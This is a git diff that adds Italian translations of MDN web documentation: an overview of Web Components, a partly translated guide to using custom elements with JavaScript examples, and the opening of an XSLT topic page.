diff --git a/files/it/web/web_components/index.html b/files/it/web/web_components/index.html
new file mode 100644
index 0000000000..113e17af86
--- /dev/null
+++ b/files/it/web/web_components/index.html
@@ -0,0 +1,210 @@
+---
+title: Web Components
+slug: Web/Web_Components
+translation_of: Web/Web_Components
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<div class="summary">
+<p>Web Components è una suite di tecnologie che permettono di creare elementi personalizzati, la cui funzionalità è incapsulata e separata dal resto del codice sorgente, per uso in applicazioni web.</p>
+</div>
+
+<h2 id="Concetti_e_uso">Concetti e uso</h2>
+
+<p>Riutilizzare una porzione di codice il più possibile è desiderabile. In passato, questo non è sempre stato facile per i linguaggi di markup: si pensi ad esempio al complesso HTML e CSS (con script associati) necessari per personalizzare i controlli dell'interfaccia utente, e a come sia necessario riutilizzarli all'interno della stessa pagina.</p>
+
+<p>I Web Component hanno l'obiettivo di risolvere questi problemi. Consistono di tre tecnologie principali che possono essere usate in combinazione per creare elementi personalizzati versatili con funzionalità incapsulata che possono essere riutilizzati senza dover temere collisioni nel codice.</p>
+
+<ul>
+ <li><strong>Elementi personalizzati</strong>: Un insieme di API per JavaScript che permettono di definire elementi personalizzati ed il loro comportamento.</li>
+ <li><strong>Shadow DOM</strong>: Un insieme di API per JavaScript per assegnare un albero DOM "nascosto" ad un elemento, e controllare la funzionalità associata. In questo modo, è possibile mantenere le caratteristiche dell'elemento private ed evitare collisioni con altre parti del documento.</li>
+ <li><strong>Template HTML</strong>: Gli elementi {{HTMLElement("template")}} e {{HTMLElement("slot")}} permettono di scrivere template di markup che non vengono visualizzati nella pagina. Questi template possono essere riutilizzati più volte come struttura base di un elemento personalizzato.</li>
+</ul>
+
+<p>L'approccio all'implementazione di un web component è di solito la seguente:</p>
+
+<ol>
+ <li>Creare una classe o funzione in cui si specifica la funzionalità del componente. Se si usa una classe, è solito usare la sintassi ECMAScript 2015.</li>
+ <li>Registrare l'elemento tramite il metodo {{domxref("CustomElementRegistry.define()")}} passando come parametro il nome dell'elemento, la classe o funzione che specifica la funzionalità del componente, e (opzionalmente) l'elemento da cui eredita.</li>
+ <li>Se richiesto, assegnare un shadow DOM all'elemento tramite il metodo {{domxref("Element.attachShadow()")}} e aggiungere elementi figli, event listener eccetera allo shadow DOM tramite metodi standard del DOM.</li>
+ <li>Se richiesto, definire un template HTML usando {{htmlelement("template")}} e {{htmlelement("slot")}}. Usare i normali metodi del DOM per clonare il template e assegnarlo allo shadow DOM.</li>
+ <li>Usare l'elemento personalizzato dove necessario nella pagina, come un qualsiasi elemento HTML.</li>
+</ol>
+
+<h2 id="Tutorial">Tutorial</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Usare elementi personalizzati</a></dt>
+ <dd>Una guida che mostra come usare elementi personalizzati per creare componenti web, istruzioni sui lifecycle callbacks, ed altre funzionalità avanzate.</dd>
+ <dt><a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Usare lo shadow DOM</a></dt>
+ <dd>Una guida che spiega i fondamenti dello shadow DOM, mostrando come aggiungerlo a un elemento, aggiungere elementi all'albero shadow DOM, stilizzarlo, ed altro.</dd>
+ <dt><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Usare templates e slot</a></dt>
+ <dd>Una guida che spiega come definire una struttura HTML riutilizzabile usando gli elementi {{htmlelement("template")}} e {{htmlelement("slot")}}, e come usera la struttura in un web component.</dd>
+</dl>
+
+<h2 id="Glossario">Glossario</h2>
+
+<h3 id="Elementi_personalizzati">Elementi personalizzati</h3>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry")}}</dt>
+ <dd>Contiene funzionalità relativa a elementi personalizzati, in particolare il metodo {{domxref("CustomElementRegistry.define()")}} usato per registrare nuovi elementi personalizzati in modo che possano essere usati nel documento.</dd>
+ <dt>{{domxref("Window.customElements")}}</dt>
+ <dd>Returns a reference to the <code>CustomElementRegistry</code> object.</dd>
+ <dt><a href="/en-US/docs/Web/Web_Components/Using_custom_elements#Using_the_lifecycle_callbacks">Life cycle callbacks</a></dt>
+ <dd>Special callback functions defined inside the custom element's class definition, which affect its behavior:
+ <ul>
+  <li><code>connectedCallback</code>: Invoked when the custom element is first connected to the document's DOM.</li>
+  <li><code>disconnectedCallback</code>: Invoked when the custom element is disconnected from the document's DOM.</li>
+  <li><code>adoptedCallback</code>: Invoked when the custom element is moved to a new document.</li>
+  <li><code>attributeChangedCallback</code>: Invoked when one of the custom element's attributes is added, removed, or changed.</li>
+ </ul>
+ </dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt>Extensions for creating custom built-in elements</dt>
+ <dd>
+ <ul>
+  <li>The {{htmlattrxref("is")}} global HTML attribute: Allows you to specify that a standard HTML element should behave like a registered custom built-in element.</li>
+  <li>The "is" option of the {{domxref("Document.createElement()")}} method: Allows you to create an instance of a standard HTML element that behaves like a given registered custom built-in element.</li>
+ </ul>
+ </dd>
+ <dt>CSS pseudo-classes</dt>
+ <dd>Pseudo-classes relating specifically to custom elements:
+ <ul>
+  <li>{{cssxref(":defined")}}: Matches any element that is defined, including built in elements and custom elements defined with <code>CustomElementRegistry.define()</code>).</li>
+  <li>{{cssxref(":host")}}: Selects the shadow host of the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> containing the CSS it is used inside.</li>
+  <li>{{cssxref(":host()")}}: Selects the shadow host of the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> containing the CSS it is used inside (so you can select a custom element from inside its shadow DOM) — but only if the selector given as the function's parameter matches the shadow host.</li>
+  <li>{{cssxref(":host-context()")}}: Selects the shadow host of the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> containing the CSS it is used inside (so you can select a custom element from inside its shadow DOM) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the DOM hierarchy.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Shadow_DOM">Shadow DOM</h3>
+
+<dl>
+ <dt>{{domxref("ShadowRoot")}}</dt>
+ <dd>Represents the root node of a shadow DOM subtree.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot")}}</dt>
+ <dd>A mixin defining features that are available across document and shadow roots.</dd>
+ <dt>{{domxref("Element")}} extensions</dt>
+ <dd>Extensions to the <code>Element</code> interface related to shadow DOM:
+ <ul>
+  <li>The {{domxref("Element.attachShadow()")}} method attaches a shadow DOM tree to the specified element.</li>
+  <li>The {{domxref("Element.shadowRoot")}} property returns the shadow root attached to the specified element, or <code>null</code> if there is no shadow root attached.</li>
+ </ul>
+ </dd>
+ <dt>Relevant {{domxref("Node")}} additions</dt>
+ <dd>Additions to the <code>Node</code> interface relevant to shadow DOM:
+ <ul>
+  <li>The {{domxref("Node.getRootNode()")}} method returns the context object's root, which optionally includes the shadow root if it is available.</li>
+  <li>The {{domxref("Node.isConnected")}} property returns a boolean indicating whether or not the Node is connected (directly or indirectly) to the context object, e.g. the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("Event")}} extensions</dt>
+ <dd>Extensions to the <code>Event</code> interface related to shadow DOM:
+ <ul>
+  <li>{{domxref("Event.composed")}}: Returns a {{jsxref("Boolean")}} which indicates whether the event will propagate across the shadow DOM boundary into the standard DOM (<code>true</code>), or not  (<code>false</code>).</li>
+  <li>{{domxref("Event.composedPath")}}: Returns the event’s path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with {{domxref("ShadowRoot.mode")}} closed.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="HTML_templates">HTML templates</h3>
+
+<dl>
+ <dt>{{htmlelement("template")}}</dt>
+ <dd>Contains an HTML fragment that is not rendered when a containing document is initially loaded, but can be displayed at runtime using JavaScript, mainly used as the basis of custom element structures. The associated DOM interface is {{domxref("HTMLTemplateElement")}}.</dd>
+ <dt>{{htmlelement("slot")}}</dt>
+ <dd>A placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. The associated DOM interface is {{domxref("HTMLSlotElement")}}.</dd>
+ <dt>The <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> global HTML attribute</dt>
+ <dd>Assigns a slot in a shadow DOM shadow tree to an element.</dd>
+ <dt>{{domxref("Slotable")}}</dt>
+ <dd>A mixin implemented by both {{domxref("Element")}} and {{domxref("Text")}} nodes, defining features that allow them to become the contents of an {{htmlelement("slot")}} element. The mixin defines one attribute, {{domxref("Slotable.assignedSlot")}}, which returns a reference to the slot the node is inserted in.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Element")}} extensions</dt>
+ <dd>Extensions to the <code>Element</code> interface related to slots:
+ <ul>
+  <li>{{domxref("Element.slot")}}: Returns the name of the shadow DOM slot attached to the element.</li>
+ </ul>
+ </dd>
+ <dt>CSS pseudo-elements</dt>
+ <dd>Pseudo-elements relating specifically to slots:
+ <ul>
+  <li>{{cssxref("::slotted")}}: Matches any content that is inserted into a slot.</li>
+ </ul>
+ </dd>
+ <dt>The {{event("slotchange")}} event</dt>
+ <dd>Fired on an {{domxref("HTMLSlotElement")}} instance ({{htmlelement("slot")}} element) when the node(s) contained in that slot change.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>We are building up a number of examples in our <a href="https://github.com/mdn/web-components-examples">web-components-examples</a> GitHub repo. More will be added as time goes on.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","scripting.html#the-template-element","&lt;template&gt; element")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>The definition of {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>The definition of <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">HTML Custom Elements</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>The definition of <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Imports", "", "")}}</td>
+   <td>{{Spec2("HTML Imports")}}</td>
+   <td>Initial <a href="/en-US/docs/Web/Web_Components/HTML_Imports">HTML Imports</a> definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Shadow DOM", "", "")}}</td>
+   <td>{{Spec2("Shadow DOM")}}</td>
+   <td>Initial <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a> definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>In general:</p>
+
+<ul>
+ <li>Web components are supported by default in Firefox (version 63), Chrome, and Opera.</li>
+ <li>Safari supports a number of web component features, but less than the above browsers.</li>
+ <li>Edge is working on an implementation.</li>
+</ul>
+
+<p>For detailed browser support of specific features, you'll have to consult the reference pages listed above.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.webcomponents.org/">webcomponents.org</a> — site featuring web components examples, tutorials, and other information.</li>
+ <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> — Open source web components library, which favors plain objects and pure functions over <code>class</code> and <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> syntax. It provides a simple and functional API for creating custom elements.</li>
+ <li><a href="https://www.polymer-project.org/">Polymer</a> — Google's web components framework — a set of polyfills, enhancements, and examples. Currently the easiest way to use web components cross-browser.</li>
+ <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi</a> — Easy Web Components in ~1kB <em>Including polyfill</em> — All you need is a browser and basic understanding of HTML, CSS, and JavaScript classes to be productive.</li>
+ <li><a href="https://github.com/slimjs/slim.js">Slim.js</a> — Open source web components library — a high-performant library for rapid and easy component authoring; extensible and pluggable and cross-framework compatible.</li>
+ <li><a href="https://stenciljs.com/">Stencil</a> — Toolchain for building reusable, scalable design systems in web components.</li>
+</ul>
diff --git a/files/it/web/web_components/usare_custom_elements/index.html b/files/it/web/web_components/usare_custom_elements/index.html
new file mode 100644
index 0000000000..4fa75cb380
--- /dev/null
+++ b/files/it/web/web_components/usare_custom_elements/index.html
@@ -0,0 +1,297 @@
+---
+title: Usare i custom elements
+slug: Web/Web_Components/Usare_custom_elements
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Una delle caratteristiche chiave dei Web Components standard è la capacità di creare elementi personalizzati che contengono le funzionalità che vuoi sviluppare direttamente in una pagina HTML, anzichè che sviluppare una lunga serie di singoli elementi innestati per avere, in una pagina, le funzionalità che desideri. Questo articolo ti introduce all'uso delle Custom Elements API.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: I custom elements sono supportati di default in Firefox, Chrome, e Edge (76). Opera e Safari fino ad ora supportano solo custom elements proprietari.</p>
+</div>
+
+<h2 id="Panoramica_generale">Panoramica generale</h2>
+
+<p>Il controller dei custom elements in un web document è l'oggetto {{domxref("CustomElementRegistry")}} — questo oggetto ti permette di registrareun custom element nella pagina, ritornare informazioni su cosa restituire informazioni su quali elementi personalizzati sono registrati etc.</p>
+
+<p>Per registrare un custom element nella pagina, usa il metodo {{domxref("CustomElementRegistry.define()")}}. Questo metodo ha questi argomenti:</p>
+
+<ul>
+ <li>Il {{domxref("DOMString")}} rappresenta il nome che vuoi dare all'elemento. Ricorda che i nomi dei custom elements <a href="https://stackoverflow.com/questions/22545621/do-custom-elements-require-a-dash-in-their-name">richiedono un trattino</a> (kebab-case); non possono essere una singole parole.</li>
+ <li>Un oggetto <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classe</a> che definisce le funzionalità dell'elemento.</li>
+ <li>Opzionalmente, un oggetto contenente una proprietà <code>extends</code>, che specifica le caratteristiche dell'elemento che vengono ereditate nel custom element creato.</li>
+</ul>
+
+<p>Per esempio, possiamo definire un custom <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">word-count element</a> come questo:</p>
+
+<pre class="brush: js">customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<p>L'elemento è chiamato <code>word-count</code>, la sua classe è <code>WordCount</code>, ed estende l'elemento {{htmlelement("p")}}.</p>
+
+<p>Una classe custom element viene scritta usando la sintassi standard ES 2015. Per esempio, <code>WordCount</code> è strutturata così:</p>
+
+<pre class="brush: js">class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // Element functionality written in here
+
+    ...
+  }
+}</pre>
+
+<p>This is just a simple example, but there is more you can do here. It is possible to define specific lifecycle callbacks inside the class, which run at specific points in the element's lifecycle. For example, <code>connectedCallback</code> is invoked each time the custom element is appended into a document-connected element, while <code>attributeChangedCallback</code> is invoked when one of the custom element's attributes is added, removed, or changed.</p>
+
+<p>You'll learn more about these in the {{anch("Using the lifecycle callbacks")}} section below.</p>
+
+<p>There are two types of custom elements:</p>
+
+<ul>
+ <li><strong>Autonomous custom elements</strong> are standalone — they don't inherit from standard HTML elements. You use these on a page by literally writing them out as an HTML element. For example <code>&lt;popup-info&gt;</code>, or <code>document.createElement("popup-info")</code>.</li>
+ <li><strong>Customized built-in elements</strong> inherit from basic HTML elements. To create one of these, you have to specify which element they extend (as implied in the examples above), and they are used by writing out the basic element but specifying the name of the custom element in the {{htmlattrxref("is")}} attribute (or property). For example <code>&lt;p is="word-count"&gt;</code>, or <code>document.createElement("p", { is: "word-count" })</code>.</li>
+</ul>
+
+<h2 id="Working_through_some_simple_examples">Working through some simple examples</h2>
+
+<p>At this point, let's go through some more simple examples to show you how custom elements are created in more detail.</p>
+
+<h3 id="Autonomous_custom_elements">Autonomous custom elements</h3>
+
+<p>Let's have a look at an example of an autonomous custom element — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (see a <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">live example</a>). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information.</p>
+
+<p>To begin with, the JavaScript file defines a class called <code>PopUpInfo</code>, which extends {{domxref("HTMLElement")}}. Autonomous custom elements nearly always extend <code>HTMLElement</code>.</p>
+
+<pre class="brush: js">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // write element functionality in here
+
+    ...
+  }
+}</pre>
+
+<p>The preceding code snippet contains the <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor()</a></code> definition for the class, which always starts by calling <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> so that the correct prototype chain is established.</p>
+
+<p>Inside the constructor, we define all the functionality the element will have when an instance of it is instantiated. In this case we attach a shadow root to the custom element, use some DOM manipulation to create the element's internal shadow DOM structure — which is then attached to the shadow root — and finally attach some CSS to the shadow root to style it.</p>
+
+<pre class="brush: js">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+
+style.textContent = '.wrapper {' +
+// CSS truncated for brevity
+
+// attach the created elements to the shadow dom
+
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<p>Finally, we register our custom element on the <code>CustomElementRegistry</code> using the <code>define()</code> method we mentioned earlier — in the parameters we specify the element name, and then the class name that defines its functionality:</p>
+
+<pre class="brush: js">customElements.define('popup-info', PopUpInfo);</pre>
+
+<p>It is now available to use on our page. Over in our HTML, we use it like so:</p>
+
+<pre class="brush: html">&lt;popup-info img="img/alt.png" text="Your card validation code (CVC)
+  is an extra security feature — it is the last 3 or 4 numbers on the
+  back of your card."&gt;&lt;/popup-info&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-web-component/main.js">full JavaScript source</a> code here.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Remember that for the custom element to work, the script that registers it has to be loaded after the DOM is parsed. This can be done either by including the <code>&lt;script&gt;</code> element at the bottom of the <code>&lt;body&gt;</code>, or by including the <code>defer</code> attribute in your <code>&lt;script&gt;</code> element.</p>
+</div>
+
+<h3 id="Internal_vs._external_styles">Internal vs. external styles</h3>
+
+<p>In the above example we apply style to the Shadow DOM using a {{htmlelement("style")}} element, but it is perfectly possible to do it by referencing an external stylesheet from a {{htmlelement("link")}} element instead.</p>
+
+<p>For example, take a look at this code from our <a href="https://mdn.github.io/web-components-examples/popup-info-box-external-stylesheet/">popup-info-box-external-stylesheet</a> example (see the <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-external-stylesheet/main.js">source code</a>):</p>
+
+<pre class="brush: js">// Apply external styles to the shadow dom
+const linkElem = document.createElement('link');
+linkElem.setAttribute('rel', 'stylesheet');
+linkElem.setAttribute('href', 'style.css');
+
+// Attach the created element to the shadow dom
+shadow.appendChild(linkElem);</pre>
+
+<p>Note that {{htmlelement("link")}} elements do not block paint of the shadow root, so there may be a flash of unstyled content (FOUC) while the stylesheet loads.</p>
+
+<p>Many modern browsers implement an optimization for {{htmlelement("style")}} tags either cloned from a common node or that have identical text, to allow them to share a single backing stylesheet. With this optimization the performance of external and internal styles should be similar.</p>
+
+<h3 id="Customized_built-in_elements">Customized built-in elements</h3>
+
+<p>Now let's have a look at another customized built in element example — <a href="https://github.com/mdn/web-components-examples/tree/master/expanding-list-web-component">expanding-list</a> (<a href="https://mdn.github.io/web-components-examples/expanding-list-web-component/">see it live also</a>). This turns any unordered list into an expanding/collapsing menu.</p>
+
+<p>First of all, we define our element's class, in the same manner as before:</p>
+
+<pre class="brush: js">class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // write element functionality in here
+
+    ...
+  }
+}</pre>
+
+<p>We will not explain the element functionality in any detail here, but you can discover how it works by checking out the source code. The only real difference here is that our element is extending the {{domxref("HTMLUListElement")}} interface, and not {{domxref("HTMLElement")}}. So it has all the characteristics of a {{htmlelement("ul")}} element with the functionality we define built on top, rather than being a standalone element. This is what makes it a customized built-in, rather than an autonomous element.</p>
+
+<p>Next, we register the element using the <code>define()</code> method as before, except that this time it also includes an options object that details what element our custom element inherits from:</p>
+
+<pre class="brush: js">customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>Using the built-in element in a web document also looks somewhat different:</p>
+
+<pre class="brush: html">&lt;ul is="expanding-list"&gt;
+
+  ...
+
+&lt;/ul&gt;</pre>
+
+<p>You use a <code>&lt;ul&gt;</code> element as normal, but specify the name of the custom element inside the <code>is</code> attribute.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Again, you can see the full <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">JavaScript source code</a> here.</p>
+</div>
+
+<h2 id="Using_the_lifecycle_callbacks">Using the lifecycle callbacks</h2>
+
+<p>You can define several different callbacks inside a custom element's class definition, which fire at different points in the element's lifecycle:</p>
+
+<ul>
+ <li><code>connectedCallback</code>: Invoked each time the custom element is appended into a document-connected element. This will happen each time the node is moved, and may happen before the element's contents have been fully parsed.
+
+  <div class="note">
+  <p><strong>Note</strong>: <code>connectedCallback</code> may be called once your element is no longer connected, use {{domxref("Node.isConnected")}} to make sure.</p>
+  </div>
+ </li>
+ <li><code>disconnectedCallback</code>: Invoked each time the custom element is disconnected from the document's DOM.</li>
+ <li><code>adoptedCallback</code>: Invoked each time the custom element is moved to a new document.</li>
+ <li><code>attributeChangedCallback</code>: Invoked each time one of the custom element's attributes is added, removed, or changed. Which attributes to notice change for is specified in a static get <code>observedAttributes</code> method</li>
+</ul>
+
+<p>Let's look at an example of these in use. The code below is taken from the <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a> example (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks/">see it running live</a>). This is a trivial example that simply generates a colored square of a fixed size on the page. The custom element looks like this:</p>
+
+<pre class="brush: html">&lt;custom-square l="100" c="red"&gt;&lt;/custom-square&gt;</pre>
+
+<p>The class constructor is really simple — here we attach a shadow DOM to the element, then attach empty {{htmlelement("div")}} and {{htmlelement("style")}} elements to the shadow root:</p>
+
+<pre class="brush: js">var shadow = this.attachShadow({mode: 'open'});
+
+var div = document.createElement('div');
+var style = document.createElement('style');
+shadow.appendChild(style);
+shadow.appendChild(div);</pre>
+
+<p>The key function in this example is <code>updateStyle()</code> — this takes an element, gets its shadow root, finds its <code>&lt;style&gt;</code> element, and adds {{cssxref("width")}}, {{cssxref("height")}}, and {{cssxref("background-color")}} to the style.</p>
+
+<pre class="brush: js">function updateStyle(elem) {
+  const shadow = elem.shadowRoot;
+  shadow.querySelector('style').textContent = `
+    div {
+      width: ${elem.getAttribute('l')}px;
+      height: ${elem.getAttribute('l')}px;
+      background-color: ${elem.getAttribute('c')};
+    }
+  `;
+}</pre>
+
+<p>The actual updates are all handled by the life cycle callbacks, which are placed inside the class definition as methods. The <code>connectedCallback()</code> runs each time the element is added to the DOM — here we run the <code>updateStyle()</code> function to make sure the square is styled as defined in its attributes:</p>
+
+<pre class="brush: js">connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}</pre>
+
+<p>The <code>disconnectedCallback()</code> and <code>adoptedCallback()</code> callbacks log simple messages to the console to inform us when the element is either removed from the DOM, or moved to a different page:</p>
+
+<pre class="brush: js">disconnectedCallback() {
+  console.log('Custom square element removed from page.');
+}
+
+adoptedCallback() {
+  console.log('Custom square element moved to new page.');
+}</pre>
+
+<p>The <code>attributeChangedCallback()</code> callback is run whenever one of the element's attributes is changed in some way. As you can see from its properties, it is possible to act on attributes individually, looking at their name, and old and new attribute values. In this case however, we are just running the <code>updateStyle()</code> function again to make sure that the square's style is updated as per the new values:</p>
+
+<pre class="brush: js">attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}</pre>
+
+<p>Note that to get the <code>attributeChangedCallback()</code> callback to fire when an attribute changes, you have to observe the attributes. This is done by specifying a <code>static get observedAttributes()</code> method inside custom element class - this should <code>return</code>  an array containing the names of the attributes you want to observe:</p>
+
+<pre class="brush: js">static get observedAttributes() { return ['c', 'l']; }</pre>
+
+<p>This is placed right at the top of the constructor, in our example.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Find the <a href="https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js">full JavaScript source</a> here.</p>
+</div>
+
+<h2 id="Polyfills_vs._classes">Polyfills vs. classes</h2>
+
+<p>Custom Element polyfills may patch native constructors such as <code>HTMLElement</code> and others, and return a different instance from the one just created.</p>
+
+<p>If you need a <code>constructor</code> and a mandatory <code>super</code> call, remember to pass along optional arguments and return the result of such a <code>super</code> call operation.</p>
+
+<pre class="brush: js">class CustomElement extends HTMLElement {
+  constructor(...args) {
+    const self = super(...args);
+    // self functionality written in here
+    // self.addEventListener(...)
+    // return the right context
+    return self;
+  }
+}</pre>
+
+<p>If you don't need to perform any operation in the constructor, you can simply omit it so that its native behavior (see following) will be preserved.</p>
+
+<pre class="brush: js"> constructor(...args) { return super(...args); }
+</pre>
+
+<h2 id="Transpilers_vs._classes">Transpilers vs. classes</h2>
+
+<p>Please note that ES2015 classes cannot reliably be transpiled in Babel 6 or TypeScript targeting legacy browsers. You can either use Babel 7 or the <a href="https://www.npmjs.com/package/babel-plugin-transform-builtin-classes">babel-plugin-transform-builtin-classes</a> for Babel 6, and target ES2015 in TypeScript instead of legacy.</p>
+
+<h2 id="Libraries">Libraries</h2>
+
+<p>There are several libraries that are built on Web Components with the aim of increasing the level of abstraction when creating custom elements. Some of these libraries are <a href="https://github.com/devpunks/snuggsi" rel="nofollow">snuggsi ツ</a>, <a href="https://x-tag.github.io/" rel="nofollow">X-Tag</a>, <a href="http://slimjs.com/" rel="nofollow">Slim.js</a>, <a href="https://lit-element.polymer-project.org/">LitElement</a>, <a href="https://www.htmlelements.com/">Smart</a>, and <a href="https://stenciljs.com">Stencil</a>.</p>
diff --git a/files/it/web/xslt/index.html b/files/it/web/xslt/index.html
new file mode 100644
index 0000000000..36670a5053
--- /dev/null
+++ b/files/it/web/xslt/index.html
@@ -0,0 +1,40 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+  - Tutte_le_categorie
+  - XSLT
+translation_of: Web/XSLT
+---
+<p>
+</p><p><b>Extensible Stylesheet Language Transformations (XSLT)</b> è un linguaggio basato su <a href="it/XML">XML</a> che si usa, insieme a un software in grado di interpretarlo, per trasformare i documenti XML. Sebbene ci si riferisca a questo processo come <i>trasformazione</i>, il documento originale non viene modificato; invece, viene creato un nuovo documento XML a partire da quello corrente. Poi il nuovo documento viene serializzato (output) dal processore nella sintassi dell'XML standard o in un altro formato come <a href="it/HTML">HTML</a> o solo testo. Solitamente viene utilizzato per convertire i dati da un'applicazione XML a un'altra o per convertire un documento XML in una pagina web o un documento PDF.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione"> Documentazione </h4>
+<dl><dt> <a href="it/Guida_di_riferimento_agli_elementi_XSLT">Guida di riferimento agli elementi XSLT</a>
+</dt></dl>
+<dl><dt> <a href="it/Trasformare_XML_con_XSLT">Trasformare XML con XSLT</a>
+</dt><dd> <small>XSLT permette a un autore di CSS di trasformare un documento XML primario in due modi: manipolandolo e ordinando il contenuto, oppure trasformando il contenuto in un formato differente.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/projects/xslt/js-interface.html">Using the Mozilla JavaScript interface to XSL Transformations</a> (EN)
+</dt><dd> <small>Questo documento descrive l'interfaccia JavaScript per il motore XSLT di Mozilla 1.2 e superiori.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">XSLT &amp; XPath Tutorial</a> (EN)
+</dt><dd> <small>Presenta i concetti di base della sintassi e della programmazione con XSLT.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.w3schools.com/xsl/">XSLT Tutorial</a> (EN)
+</dt><dd> <small>Questo tutorial di <a class="external" href="http://www.w3schools.com">W3Schools</a> insegna come utilizzare XSLT per trasformare i documenti XML in altri formati, come XHTML.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a> (EN)
+</dt><dd> <small>E' una introduzione molto approfondita a XSLT e XPath che si rivolge anche a chi non ne ha alcuna conoscenza.</small>
+</dd></dl>
+</td>
+<td>
+<h4 id="Argomenti_correlati"> Argomenti correlati </h4>
